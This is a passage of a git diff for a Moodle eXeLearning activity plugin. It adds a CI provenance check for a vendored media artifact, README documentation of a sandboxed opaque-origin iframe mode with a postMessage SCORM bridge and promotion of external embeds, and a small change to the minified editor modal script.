diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f4373ee..12dcfb3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -277,6 +277,22 @@ jobs: - name: Install dependencies run: npm ci + - name: Verify the vendored external-media artifact + # eXeLearning core is canonical (eXe ADR-2199-12): this repo holds the BYTES and + # verifies them against the manifest core published, rather than a copy of the + # logic that could drift. --build-hash makes it a PROVENANCE check and not merely + # an integrity one: without it a locally rebuilt-and-resigned copy would pass. + # + # If this fails, a vendored file was edited here. Fix it in eXeLearning core and + # re-vendor; a local patch is invisible upstream and is overwritten next time. + run: | + # The expected hash is PINNED HERE, deliberately, and not read from the vendored + # manifest. A hash taken from the copy under test cannot say anything about that + # copy: file, digest and buildHash can all be rewritten together, and a check that + # trusted them would pass a consistent forgery. This line is the out-of-band half. + # Bump it in the same commit that re-vendors the artifact. + node js/exe_external_media/verify.mjs js/exe_external_media --build-hash "43c776daa551fd770b6dade520629362e5a8ca8745e4245c359447c4689b34d6" + - name: JS unit tests with coverage run: npx vitest run --coverage --reporter=default --reporter=junit --outputFile=junit-js.xml diff --git a/.gitignore b/.gitignore index a42a178..88e6968 100644 --- a/.gitignore +++ b/.gitignore @@ -29,4 +29,8 @@ node_modules/ # JS test artifacts (Vitest) coverage/ junit-js.xml + +# E2E artifacts (Playwright) +test-results/ +playwright-report/ .env diff --git a/README.md b/README.md index a6ca3ed..725a693 100644 --- a/README.md +++ b/README.md @@ -158,6 +158,39 @@ editor remains): enable/disable the uploaded and built-in styles, and optionally block users from importing styles bundled inside an `.elpx` — all on this page. * **xAPI**: master switch for the xAPI-primary grading channel. +* **Package iframe security mode** (`iframemode`, default **Secure**): in _Secure_ + mode the eXeLearning package runs in a sandboxed, **opaque-origin** iframe so its + JavaScript cannot read or modify the surrounding Moodle page, its cookies or the + session; SCORM scoring is relayed to Moodle over a validated `postMessage` bridge, + and the package is served via `tokenpluginfile.php` so its assets load without the + session cookie (which an opaque iframe never sends). The package only receives a + read-only file token — never the `sesskey` — so Secure is strictly safer than + Legacy. _Legacy_ keeps the previous same-origin behaviour as an opt-in fallback. + Secure mode is **never silently downgraded**: where it cannot render (e.g. a host + whose service worker can't serve an opaque iframe, such as a PHP-WASM playground), a + "blocked by security configuration" notice is shown instead of falling back to + Legacy. See + [DEC-80-01](./research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md) + and [DEC-80-02](./research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md). + +### External embeds (YouTube/Vimeo/PDF) in Secure mode + +The opaque-origin sandbox also blanks **embedded YouTube/Vimeo players and PDFs** (the +sandbox flag propagates to the nested player iframe, and browsers block their PDF viewer +without `allow-same-origin`). So that authors can still use external media in Secure mode +**without a separate subdomain**, those embeds are **promoted to the Moodle page and +rendered inline**: a shim baked into the package (`js/exe_embed_shim.js`, self-activating +only in the opaque origin) replaces each whitelisted-video / `.pdf` iframe with a +placeholder and reports its geometry to the parent; a relay on the activity page +(`js/exe_embed_relay.js`) validates + rebuilds the canonical URL and overlays the real +player exactly over the placeholder. Local package PDFs always render; any `https` `.pdf` +renders; a same-origin `.pdf` must belong to the package (served as `application/pdf`). +This is independent of, and does not affect, the SCORM bridge. See +[DEC-80-03](./research/decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md). + +The mechanism has unit tests (`npm run test:js` — Vitest, incl. a SCORM-coexistence +guard) and a cross-browser end-to-end test in Firefox (`npm run test:e2e:embed` — +Playwright, loads the real shim/relay against an opaque-origin harness). ## The embedded editor is a release artifact @@ -199,10 +232,18 @@ attempts, and delete attempts from the teacher report (the grade is recalculated). Completion can require a passing grade (SCORM-style, see [DEC-0-10](./research/decisiones/adr/DEC-0-10-finalizacion-estilo-scorm.md)). -Grading runtime uses a SCORM 1.2 bridge: a small `window.API` shim installed by -`view.php` accepts `LMSSetValue` calls from the iDevice's bundled pipwerks -wrapper and forwards them to `track.php`, which calls Moodle's `grade_update()`. -xAPI support via `core_xapi` is on the roadmap. +Grading runtime uses a SCORM 1.2 bridge whose isolation depends on the **package +iframe security mode** +([DEC-80-01](./research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md)). +In the default **Secure** mode the package runs in an opaque-origin sandboxed iframe +served via `tokenpluginfile.php` (so its assets load without the session cookie): a +`window.API` shim lives _inside_ the iframe and posts buffered scores to the Moodle page +over a validated `postMessage` channel; the page (which holds the `sesskey`) forwards +them to `track.php`, which calls Moodle's `grade_update()`. In **Legacy** mode the shim +is installed by `view.php` in the same-origin parent and the iDevice's bundled pipwerks +wrapper reaches it directly. See +[DEC-80-02](./research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md) for the +secure serving + CSP hardening. xAPI support via `core_xapi` is on the roadmap. ## Web services (Mobile API) diff --git a/amd/build/editor_modal.min.js b/amd/build/editor_modal.min.js index adf760f..9ac01d2 100644 --- a/amd/build/editor_modal.min.js +++ b/amd/build/editor_modal.min.js @@ -1,3 +1,3 @@ -define("mod_exelearning/editor_modal",["exports","core/str","core/log"],(function(_exports,_str,_log){var obj;Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.open=_exports.init=_exports.close=void 0,_log=(obj=_log)&&obj.__esModule?obj:{default:obj};let overlay=null,iframe=null,saveBtn=null,loadingModal=null,editorOrigin="*",openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,session=null,requestCounter=0,openAttemptCount=0,openResponseTimer=null;const nextRequestId=prefix=>(requestCounter+=1,"".concat(prefix,"-").concat(Date.now(),"-").concat(requestCounter)),refreshActivityIframe=revision=>{const activityIframe=document.getElementById("exelearningobject");if(!activityIframe||!activityIframe.src)return;const refreshedSrc=((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/content\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(activityIframe.src,revision);refreshedSrc&&refreshedSrc!==activityIframe.src&&(activityIframe.src=refreshedSrc)},setSaveLabel=async(key,fallback)=>{if(saveBtn)try{const text=await(0,_str.get_string)(key,"closebuttontitle"===key?"core":"mod_exelearning");saveBtn.innerHTML=' '+text}catch{saveBtn.innerHTML=' '+fallback}},showLoadingModal=async()=>{loadingModal||(loadingModal=await(async()=>{const modal=document.createElement("div");modal.className="exeweb-loading-modal",modal.id="exeweb-loading-modal";let savingText="Saving...",waitText="Please wait while the file is being saved.";try{savingText=await(0,_str.get_string)("saving","mod_exelearning"),waitText=await(0,_str.get_string)("savingwait","mod_exelearning")}catch{}return modal.innerHTML='\n
\n
\n

'.concat(savingText,'

\n

').concat(waitText,"

\n
\n "),document.body.appendChild(modal),modal})()),loadingModal.classList.add("is-visible")},hideLoadingModal=()=>{loadingModal&&loadingModal.classList.remove("is-visible")},removeLoadingModal=()=>{loadingModal&&(loadingModal.remove(),loadingModal=null)},postToEditor=(message,transfer)=>{var _iframe;null!==(_iframe=iframe)&&void 0!==_iframe&&_iframe.contentWindow&&(transfer&&transfer.length?iframe.contentWindow.postMessage(message,editorOrigin,transfer):iframe.contentWindow.postMessage(message,editorOrigin))},clearOpenResponseTimer=()=>{openResponseTimer&&(clearTimeout(openResponseTimer),openResponseTimer=null)},scheduleOpenRetry=()=>{openAttemptCount>=3||setTimeout((()=>{openInitialPackage()}),300*openAttemptCount)},setSavingState=async saving=>{isSaving=saving,saveBtn&&(saveBtn.disabled=saving,saving?(await setSaveLabel("saving","Saving..."),await showLoadingModal()):(await setSaveLabel("savetomoodle","Save to Moodle"),hideLoadingModal()))},openInitialPackage=async()=>{var _session,_session2;if((null===(_session=session)||void 0===_session||!_session.skipOpenFileOnInit)&&!openRequestSent&&null!==(_session2=session)&&void 0!==_session2&&_session2.packageUrl){openRequestSent=!0,openAttemptCount+=1;try{const response=await fetch(session.packageUrl,{credentials:"include"});if(!response.ok)throw new Error("HTTP ".concat(response.status,": ").concat(response.statusText));const bytes=await response.arrayBuffer();openRequestId=nextRequestId("open"),postToEditor({type:"OPEN_FILE",requestId:openRequestId,data:{bytes:bytes,filename:"package.elpx"}}),clearOpenResponseTimer(),openResponseTimer=setTimeout((()=>{openRequestSent&&(_log.default.error("[editor_modal] OPEN_FILE timeout waiting for response"),openRequestSent=!1,scheduleOpenRetry())}),3e3)}catch(error){_log.default.error("[editor_modal] Failed to open package:",error),openRequestSent=!1,scheduleOpenRetry()}}},uploadExportedFile=async payload=>{const bytes=null==payload?void 0:payload.bytes;if(!bytes)throw new Error("Missing export bytes");const filename=payload.filename||"package.elpx",mimeType=payload.mimeType||"application/zip",blob=new Blob([bytes],{type:mimeType}),formData=new FormData;formData.append("package",blob,filename),formData.append("format","elpx"),formData.append("cmid",String(session.cmid)),formData.append("sesskey",session.sesskey);const response=await fetch(session.saveUrl,{method:"POST",body:formData,credentials:"include"}),result=await response.json();if(!response.ok||null==result||!result.success)throw new Error((null==result?void 0:result.error)||"Save failed (".concat(response.status,")"));(newUrl=>{if(!newUrl||!session)return;session.packageUrl=newUrl;const selector='[data-action="mod_exelearning/editor-open"][data-cmid="'.concat(String(session.cmid),'"]'),openButton=document.querySelector(selector);null!=openButton&&openButton.dataset&&(openButton.dataset.packageurl=newUrl)})(((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/package\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(session.packageUrl,result.revision)),refreshActivityIframe(result.revision),hasUnsavedChanges=!1,await setSaveLabel("savedsuccess","Saved successfully"),close(!0),window.location.reload()},requestExport=async()=>{var _iframe2;!isSaving&&null!==(_iframe2=iframe)&&void 0!==_iframe2&&_iframe2.contentWindow&&(await setSavingState(!0),exportRequestId=nextRequestId("export"),postToEditor({type:"REQUEST_EXPORT",requestId:exportRequestId,data:{format:"elpx",filename:"package.elpx"}}))},isEditorBridgeMessage=event=>{var _iframe3;return!(null===(_iframe3=iframe)||void 0===_iframe3||!_iframe3.contentWindow||event.source!==iframe.contentWindow||!event.data)&&("*"===editorOrigin||event.origin===editorOrigin)},handleMessage=async event=>{await(async event=>{if(!isEditorBridgeMessage(event))return;const data=event.data;switch(data.type){case"EXELEARNING_READY":postToEditor({type:"CONFIGURE",requestId:nextRequestId("configure"),data:{hideUI:{fileMenu:!0,saveButton:!0,userMenu:!0}}}),openInitialPackage();break;case"DOCUMENT_LOADED":saveBtn&&!isSaving&&(saveBtn.disabled=!1);break;case"DOCUMENT_CHANGED":hasUnsavedChanges=!0;break;case"OPEN_FILE_SUCCESS":data.requestId===openRequestId&&saveBtn&&!isSaving&&(saveBtn.disabled=!1,openRequestSent=!1,openAttemptCount=0,clearOpenResponseTimer());break;case"OPEN_FILE_ERROR":data.requestId===openRequestId&&(_log.default.error("[editor_modal] OPEN_FILE_ERROR:",data.error),openRequestSent=!1,clearOpenResponseTimer(),scheduleOpenRetry());break;case"EXPORT_FILE":if(data.requestId===exportRequestId)try{await uploadExportedFile(data)}catch(error){_log.default.error("[editor_modal] Upload failed:",error),await setSavingState(!1)}break;case"REQUEST_EXPORT_ERROR":data.requestId===exportRequestId&&(_log.default.error("[editor_modal] REQUEST_EXPORT_ERROR:",data.error),await setSavingState(!1))}})(event),await(async event=>{var _data$data;if(!isEditorBridgeMessage(event))return;const data=event.data;if(data&&"exeweb-editor"===data.source){if("editor-ready"===data.type&&null!==(_data$data=data.data)&&void 0!==_data$data&&_data$data.packageUrl){var _session3;const incomingUrl=data.data.packageUrl;incomingUrl!==(null===(_session3=session)||void 0===_session3?void 0:_session3.packageUrl)&&(session.packageUrl=incomingUrl,openRequestSent=!1,openAttemptCount=0),openInitialPackage()}"request-save"===data.type&&await requestExport()}})(event)},handleKeydown=event=>{"Escape"===event.key&&close(!1)},close=async skipConfirm=>{if(!overlay)return;if(!skipConfirm){if(await(async()=>{if(!hasUnsavedChanges)return!1;let message="You have unsaved changes. Are you sure you want to close?";try{message=await(0,_str.get_string)("unsavedchanges","mod_exelearning")}catch{}return!window.confirm(message)})())return}const wasShowingLoader=isSaving||!0===skipConfirm;overlay.remove(),overlay=null,iframe=null,saveBtn=null,session=null,openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,openAttemptCount=0,clearOpenResponseTimer(),document.body.style.overflow="",window.removeEventListener("message",handleMessage),document.removeEventListener("keydown",handleKeydown),wasShowingLoader?setTimeout((()=>{hideLoadingModal(),removeLoadingModal()}),1500):(hideLoadingModal(),removeLoadingModal())};_exports.close=close;const open=async(cmid,editorUrl,activityName,packageUrl,saveUrl,sesskey)=>{if(_log.default.debug("[editor_modal] Opening editor for cmid:",cmid),overlay)return;editorOrigin=(url=>{try{return new URL(url,window.location.href).origin}catch{return"*"}})(editorUrl),openAttemptCount=0,session={cmid:cmid,editorUrl:editorUrl,packageUrl:packageUrl||"",skipOpenFileOnInit:!!packageUrl,saveUrl:saveUrl,sesskey:sesskey},overlay=document.createElement("div"),overlay.id="exeweb-editor-overlay",overlay.className="exeweb-editor-overlay";const header=document.createElement("div");header.className="exeweb-editor-header";const title=document.createElement("span");title.className="exeweb-editor-title",title.textContent=activityName||"",header.appendChild(title);const buttonGroup=document.createElement("div");buttonGroup.className="exeweb-editor-buttons",saveBtn=document.createElement("button"),saveBtn.className="btn btn-primary mr-2",saveBtn.id="exeweb-editor-save",saveBtn.disabled=!0,await setSaveLabel("savetomoodle","Save to Moodle"),saveBtn.addEventListener("click",requestExport);const closeBtn=document.createElement("button");closeBtn.className="btn btn-secondary",closeBtn.id="exeweb-editor-close";try{closeBtn.textContent=await(0,_str.get_string)("closebuttontitle","core")}catch{closeBtn.textContent="Close"}closeBtn.addEventListener("click",(()=>close(!1))),buttonGroup.appendChild(saveBtn),buttonGroup.appendChild(closeBtn),header.appendChild(buttonGroup),overlay.appendChild(header),iframe=document.createElement("iframe"),iframe.className="exeweb-editor-iframe",iframe.src=editorUrl,iframe.setAttribute("allow","fullscreen"),iframe.setAttribute("frameborder","0"),iframe.addEventListener("load",(()=>{var _session4;!openRequestSent&&null!==(_session4=session)&&void 0!==_session4&&_session4.packageUrl&&openInitialPackage()})),overlay.appendChild(iframe),document.body.appendChild(overlay),document.body.style.overflow="hidden",window.addEventListener("message",handleMessage),document.addEventListener("keydown",handleKeydown)};_exports.open=open;_exports.init=()=>{document.addEventListener("click",(event=>{const button=event.target.closest('[data-action="mod_exelearning/editor-open"]');button&&(event.preventDefault(),open(button.dataset.cmid,button.dataset.editorurl,button.dataset.activityname,button.dataset.packageurl,button.dataset.saveurl,button.dataset.sesskey))}))}})); +define("mod_exelearning/editor_modal",["exports","core/str","core/log"],(function(_exports,_str,_log){var obj;Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.open=_exports.init=_exports.close=void 0,_log=(obj=_log)&&obj.__esModule?obj:{default:obj};let overlay=null,iframe=null,saveBtn=null,loadingModal=null,editorOrigin="*",openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,session=null,requestCounter=0,openAttemptCount=0,openResponseTimer=null;const nextRequestId=prefix=>(requestCounter+=1,"".concat(prefix,"-").concat(Date.now(),"-").concat(requestCounter)),refreshActivityIframe=revision=>{const activityIframe=document.getElementById("exelearningobject");if(!activityIframe||!activityIframe.src)return;const refreshedSrc=((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/content\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(activityIframe.src,revision);refreshedSrc&&refreshedSrc!==activityIframe.src&&(activityIframe.src=refreshedSrc)},setSaveLabel=async(key,fallback)=>{if(saveBtn)try{const text=await(0,_str.get_string)(key,"closebuttontitle"===key?"core":"mod_exelearning");saveBtn.innerHTML=' '+text}catch{saveBtn.innerHTML=' '+fallback}},showLoadingModal=async()=>{loadingModal||(loadingModal=await(async()=>{const modal=document.createElement("div");modal.className="exeweb-loading-modal",modal.id="exeweb-loading-modal";let savingText="Saving...",waitText="Please wait while the file is being saved.";try{savingText=await(0,_str.get_string)("saving","mod_exelearning"),waitText=await(0,_str.get_string)("savingwait","mod_exelearning")}catch{}return modal.innerHTML='\n
\n
\n

'.concat(savingText,'

\n

').concat(waitText,"

\n
\n "),document.body.appendChild(modal),modal})()),loadingModal.classList.add("is-visible")},hideLoadingModal=()=>{loadingModal&&loadingModal.classList.remove("is-visible")},removeLoadingModal=()=>{loadingModal&&(loadingModal.remove(),loadingModal=null)},postToEditor=(message,transfer)=>{var _iframe;null!==(_iframe=iframe)&&void 0!==_iframe&&_iframe.contentWindow&&(transfer&&transfer.length?iframe.contentWindow.postMessage(message,editorOrigin,transfer):iframe.contentWindow.postMessage(message,editorOrigin))},clearOpenResponseTimer=()=>{openResponseTimer&&(clearTimeout(openResponseTimer),openResponseTimer=null)},scheduleOpenRetry=()=>{openAttemptCount>=3||setTimeout((()=>{openInitialPackage()}),300*openAttemptCount)},setSavingState=async saving=>{isSaving=saving,saveBtn&&(saveBtn.disabled=saving,saving?(await setSaveLabel("saving","Saving..."),await showLoadingModal()):(await setSaveLabel("savetomoodle","Save to Moodle"),hideLoadingModal()))},openInitialPackage=async()=>{var _session,_session2;if((null===(_session=session)||void 0===_session||!_session.skipOpenFileOnInit)&&!openRequestSent&&null!==(_session2=session)&&void 0!==_session2&&_session2.packageUrl){openRequestSent=!0,openAttemptCount+=1;try{const response=await fetch(session.packageUrl,{credentials:"include"});if(!response.ok)throw new Error("HTTP ".concat(response.status,": ").concat(response.statusText));const bytes=await response.arrayBuffer();openRequestId=nextRequestId("open"),postToEditor({type:"OPEN_FILE",requestId:openRequestId,data:{bytes:bytes,filename:"package.elpx"}}),clearOpenResponseTimer(),openResponseTimer=setTimeout((()=>{openRequestSent&&(_log.default.error("[editor_modal] OPEN_FILE timeout waiting for response"),openRequestSent=!1,scheduleOpenRetry())}),3e3)}catch(error){_log.default.error("[editor_modal] Failed to open package:",error),openRequestSent=!1,scheduleOpenRetry()}}},uploadExportedFile=async payload=>{const bytes=null==payload?void 0:payload.bytes;if(!bytes)throw new Error("Missing export bytes");const filename=payload.filename||"package.elpx",mimeType=payload.mimeType||"application/zip",blob=new Blob([bytes],{type:mimeType}),formData=new FormData;formData.append("package",blob,filename),formData.append("format","elpx"),formData.append("cmid",String(session.cmid)),formData.append("sesskey",session.sesskey);const response=await fetch(session.saveUrl,{method:"POST",body:formData,credentials:"include"}),result=await response.json();if(!response.ok||null==result||!result.success)throw new Error((null==result?void 0:result.error)||"Save failed (".concat(response.status,")"));(newUrl=>{if(!newUrl||!session)return;session.packageUrl=newUrl;const selector='[data-action="mod_exelearning/editor-open"][data-cmid="'.concat(String(session.cmid),'"]'),openButton=document.querySelector(selector);null!=openButton&&openButton.dataset&&(openButton.dataset.packageurl=newUrl)})(((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/package\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(session.packageUrl,result.revision)),refreshActivityIframe(result.revision),hasUnsavedChanges=!1,await setSaveLabel("savedsuccess","Saved successfully"),close(!0),window.location.reload()},requestExport=async()=>{var _iframe2;!isSaving&&null!==(_iframe2=iframe)&&void 0!==_iframe2&&_iframe2.contentWindow&&(await setSavingState(!0),exportRequestId=nextRequestId("export"),postToEditor({type:"REQUEST_EXPORT",requestId:exportRequestId,data:{format:"elpx",filename:"package.elpx"}}))},isEditorBridgeMessage=event=>{var _iframe3;return!(null===(_iframe3=iframe)||void 0===_iframe3||!_iframe3.contentWindow||event.source!==iframe.contentWindow||!event.data)&&("*"===editorOrigin||event.origin===editorOrigin)},handleMessage=async event=>{await(async event=>{if(!isEditorBridgeMessage(event))return;const data=event.data;switch(data.type){case"EXELEARNING_READY":postToEditor({type:"CONFIGURE",requestId:nextRequestId("configure"),data:{hideUI:{fileMenu:!0,saveButton:!0,userMenu:!0}}}),openInitialPackage();break;case"DOCUMENT_LOADED":saveBtn&&!isSaving&&(saveBtn.disabled=!1);break;case"DOCUMENT_CHANGED":hasUnsavedChanges=!0;break;case"OPEN_FILE_SUCCESS":data.requestId===openRequestId&&saveBtn&&!isSaving&&(saveBtn.disabled=!1,openRequestSent=!1,openAttemptCount=0,clearOpenResponseTimer());break;case"OPEN_FILE_ERROR":data.requestId===openRequestId&&(_log.default.error("[editor_modal] OPEN_FILE_ERROR:",data.error),openRequestSent=!1,clearOpenResponseTimer(),scheduleOpenRetry());break;case"EXPORT_FILE":if(data.requestId===exportRequestId)try{await uploadExportedFile(data)}catch(error){_log.default.error("[editor_modal] Upload failed:",error),await setSavingState(!1)}break;case"REQUEST_EXPORT_ERROR":data.requestId===exportRequestId&&(_log.default.error("[editor_modal] REQUEST_EXPORT_ERROR:",data.error),await setSavingState(!1))}})(event),await(async event=>{var _data$data;if(!isEditorBridgeMessage(event))return;const data=event.data;if(data&&"exeweb-editor"===data.source){if("editor-ready"===data.type&&null!==(_data$data=data.data)&&void 0!==_data$data&&_data$data.packageUrl){var _session3;const incomingUrl=data.data.packageUrl;incomingUrl!==(null===(_session3=session)||void 0===_session3?void 0:_session3.packageUrl)&&(session.packageUrl=incomingUrl,openRequestSent=!1,openAttemptCount=0),openInitialPackage()}"request-save"===data.type&&await requestExport()}})(event)},handleKeydown=event=>{"Escape"===event.key&&close(!1)},close=async skipConfirm=>{if(!overlay)return;if(!skipConfirm){if(await(async()=>{if(!hasUnsavedChanges)return!1;let message="You have unsaved changes. Are you sure you want to close?";try{message=await(0,_str.get_string)("unsavedchanges","mod_exelearning")}catch{}return!window.confirm(message)})())return}const wasShowingLoader=isSaving||!0===skipConfirm;overlay.remove(),overlay=null,iframe=null,saveBtn=null,session=null,openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,openAttemptCount=0,clearOpenResponseTimer(),document.body.style.overflow="",window.removeEventListener("message",handleMessage),document.removeEventListener("keydown",handleKeydown),wasShowingLoader?setTimeout((()=>{hideLoadingModal(),removeLoadingModal()}),1500):(hideLoadingModal(),removeLoadingModal())};_exports.close=close;const open=async(cmid,editorUrl,activityName,packageUrl,saveUrl,sesskey)=>{if(_log.default.debug("[editor_modal] Opening editor for cmid:",cmid),overlay)return;window.exeMediaHost&&"function"==typeof window.exeMediaHost.closeAll&&window.exeMediaHost.closeAll(),editorOrigin=(url=>{try{return new URL(url,window.location.href).origin}catch{return"*"}})(editorUrl),openAttemptCount=0,session={cmid:cmid,editorUrl:editorUrl,packageUrl:packageUrl||"",skipOpenFileOnInit:!!packageUrl,saveUrl:saveUrl,sesskey:sesskey},overlay=document.createElement("div"),overlay.id="exeweb-editor-overlay",overlay.className="exeweb-editor-overlay";const header=document.createElement("div");header.className="exeweb-editor-header";const title=document.createElement("span");title.className="exeweb-editor-title",title.textContent=activityName||"",header.appendChild(title);const buttonGroup=document.createElement("div");buttonGroup.className="exeweb-editor-buttons",saveBtn=document.createElement("button"),saveBtn.className="btn btn-primary mr-2",saveBtn.id="exeweb-editor-save",saveBtn.disabled=!0,await setSaveLabel("savetomoodle","Save to Moodle"),saveBtn.addEventListener("click",requestExport);const closeBtn=document.createElement("button");closeBtn.className="btn btn-secondary",closeBtn.id="exeweb-editor-close";try{closeBtn.textContent=await(0,_str.get_string)("closebuttontitle","core")}catch{closeBtn.textContent="Close"}closeBtn.addEventListener("click",(()=>close(!1))),buttonGroup.appendChild(saveBtn),buttonGroup.appendChild(closeBtn),header.appendChild(buttonGroup),overlay.appendChild(header),iframe=document.createElement("iframe"),iframe.className="exeweb-editor-iframe",iframe.src=editorUrl,iframe.setAttribute("allow","fullscreen"),iframe.setAttribute("frameborder","0"),iframe.addEventListener("load",(()=>{var _session4;!openRequestSent&&null!==(_session4=session)&&void 0!==_session4&&_session4.packageUrl&&openInitialPackage()})),overlay.appendChild(iframe),document.body.appendChild(overlay),document.body.style.overflow="hidden",window.addEventListener("message",handleMessage),document.addEventListener("keydown",handleKeydown)};_exports.open=open;_exports.init=()=>{document.addEventListener("click",(event=>{const button=event.target.closest('[data-action="mod_exelearning/editor-open"]');button&&(event.preventDefault(),open(button.dataset.cmid,button.dataset.editorurl,button.dataset.activityname,button.dataset.packageurl,button.dataset.saveurl,button.dataset.sesskey))}))}})); //# sourceMappingURL=editor_modal.min.js.map \ No newline at end of file diff --git a/amd/build/editor_modal.min.js.map b/amd/build/editor_modal.min.js.map index f476c36..38f584f 100644 --- a/amd/build/editor_modal.min.js.map +++ b/amd/build/editor_modal.min.js.map @@ -1 +1 @@ -{"version":3,"file":"editor_modal.min.js","sources":["../src/editor_modal.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n\nimport {get_string as getString} from 'core/str';\nimport Log from 'core/log';\n\nlet overlay = null;\nlet iframe = null;\nlet saveBtn = null;\nlet loadingModal = null;\nlet editorOrigin = '*';\nlet openRequestSent = false;\nlet openRequestId = null;\nlet exportRequestId = null;\nlet isSaving = false;\nlet hasUnsavedChanges = false;\nlet session = null;\nlet requestCounter = 0;\nlet openAttemptCount = 0;\nlet openResponseTimer = null;\n\nconst MAX_OPEN_ATTEMPTS = 3;\nconst OPEN_RESPONSE_TIMEOUT_MS = 3000;\nconst FIXED_EXPORT_FORMAT = 'elpx';\n\n/**\n * Resolve the origin of a URL, falling back to a wildcard on failure.\n *\n * @param {string} url The URL to inspect.\n * @returns {string} The resolved origin, or '*' if it cannot be parsed.\n */\nconst getOrigin = (url) => {\n try {\n return new URL(url, window.location.href).origin;\n } catch {\n return '*';\n }\n};\n\n/**\n * Generate a unique request identifier for bridge messages.\n *\n * @param {string} prefix A prefix describing the request type.\n * @returns {string} A unique request identifier.\n */\nconst nextRequestId = (prefix) => {\n requestCounter += 1;\n return `${prefix}-${Date.now()}-${requestCounter}`;\n};\n\n/**\n * Rewrite the revision segment of a package URL and add a cache buster.\n *\n * @param {string} url The original package URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updatePackageUrlRevision = (url, revision) => {\n if (!url || !revision) {\n return url;\n }\n const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n if (!normalizedRevision) {\n return url;\n }\n const updated = url.replace(/(\\/mod_exelearning\\/package\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n if (updated === url) {\n return url;\n }\n const separator = updated.includes('?') ? '&' : '?';\n return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Persist an updated package URL on the session and the open button dataset.\n *\n * @param {string} newUrl The new package URL to store.\n * @returns {void}\n */\nconst persistUpdatedPackageUrl = (newUrl) => {\n if (!newUrl || !session) {\n return;\n }\n session.packageUrl = newUrl;\n const selector = `[data-action=\"mod_exelearning/editor-open\"][data-cmid=\"${String(session.cmid)}\"]`;\n const openButton = document.querySelector(selector);\n if (openButton?.dataset) {\n openButton.dataset.packageurl = newUrl;\n }\n};\n\n/**\n * Rewrite the revision segment of a content URL and add a cache buster.\n *\n * @param {string} url The original content URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updateContentUrlRevision = (url, revision) => {\n if (!url || !revision) {\n return url;\n }\n const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n if (!normalizedRevision) {\n return url;\n }\n const updated = url.replace(/(\\/mod_exelearning\\/content\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n if (updated === url) {\n return url;\n }\n const separator = updated.includes('?') ? '&' : '?';\n return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Refresh the activity content iframe so it points at the new revision.\n *\n * @param {number|string} revision The new revision number.\n * @returns {void}\n */\nconst refreshActivityIframe = (revision) => {\n const activityIframe = document.getElementById('exelearningobject');\n if (!activityIframe || !activityIframe.src) {\n return;\n }\n const refreshedSrc = updateContentUrlRevision(activityIframe.src, revision);\n if (refreshedSrc && refreshedSrc !== activityIframe.src) {\n activityIframe.src = refreshedSrc;\n }\n};\n\n/**\n * Set the save button label from a language string, with a fallback.\n *\n * @param {string} key The language string key.\n * @param {string} fallback The fallback text if the string cannot be loaded.\n * @returns {Promise}\n */\nconst setSaveLabel = async(key, fallback) => {\n if (!saveBtn) {\n return;\n }\n try {\n const text = await getString(key, key === 'closebuttontitle' ? 'core' : 'mod_exelearning');\n saveBtn.innerHTML = ' ' + text;\n } catch {\n saveBtn.innerHTML = ' ' + fallback;\n }\n};\n\n/**\n * Build and append the saving loading modal element.\n *\n * @returns {Promise} The created modal element.\n */\nconst createLoadingModal = async() => {\n const modal = document.createElement('div');\n modal.className = 'exeweb-loading-modal';\n modal.id = 'exeweb-loading-modal';\n\n let savingText = 'Saving...';\n let waitText = 'Please wait while the file is being saved.';\n try {\n savingText = await getString('saving', 'mod_exelearning');\n waitText = await getString('savingwait', 'mod_exelearning');\n } 